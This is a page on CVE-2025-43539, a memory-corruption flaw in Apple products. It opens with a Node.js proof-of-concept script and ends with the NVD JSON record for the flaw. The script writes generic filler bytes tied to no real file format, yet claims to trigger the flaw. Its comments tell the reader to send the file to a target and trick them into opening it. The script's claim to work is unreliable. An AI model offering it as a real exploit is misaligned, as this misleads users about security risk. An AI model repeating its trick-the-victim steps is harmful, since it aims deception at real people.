CVE-2025-43539

// CVE-2025-43539 PoC - Malicious File Generator // This PoC demonstrates the concept of crafting a malicious file // that could trigger memory corruption in affected Apple products const fs = require('fs'); function generateMaliciousFile() { // Create a file with specific byte patterns designed to trigger // bounds checking issues in file parsers const header = Buffer.from([ 0x00, 0x00, 0x00, 0x00, // File header 0xFF, 0xFF, 0xFF, 0xFF, // Potential overflow marker ]); // Craft payload with oversized data to trigger bounds check failure const oversizedPayload = Buffer.alloc(65536, 0x41); // Malformed structure to trigger parsing vulnerability const malformedStructure = Buffer.from([ 0x42, 0x41, 0x44, 0x00, // 'BAD' marker 0xFF, 0xFE, 0xFD, 0xFC, // Corrupted length field ]); const poc = Buffer.concat([header, oversizedPayload, malformedStructure]); fs.writeFileSync('CVE-2025-43539_malicious_file.bin', poc); console.log('[+] PoC file generated: CVE-2025-43539_malicious_file.bin'); console.log('[+] File size:', poc.length, 'bytes'); console.log('[+] Send this file to target user for exploitation'); } generateMaliciousFile(); // Usage: node poc.js // Then trick user into opening the generated file

{"cve": {"id": "CVE-2025-43539", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:57.583", "lastModified": "2026-04-02T19:21:01.847", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved bounds checks. This issue is fixed in iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. Processing a file may lead to memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.3", "matchCriteriaId": "8E37DC2A-33E6-480B-8DFE-4F6558F0A895"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125885", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125889", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]"}]}}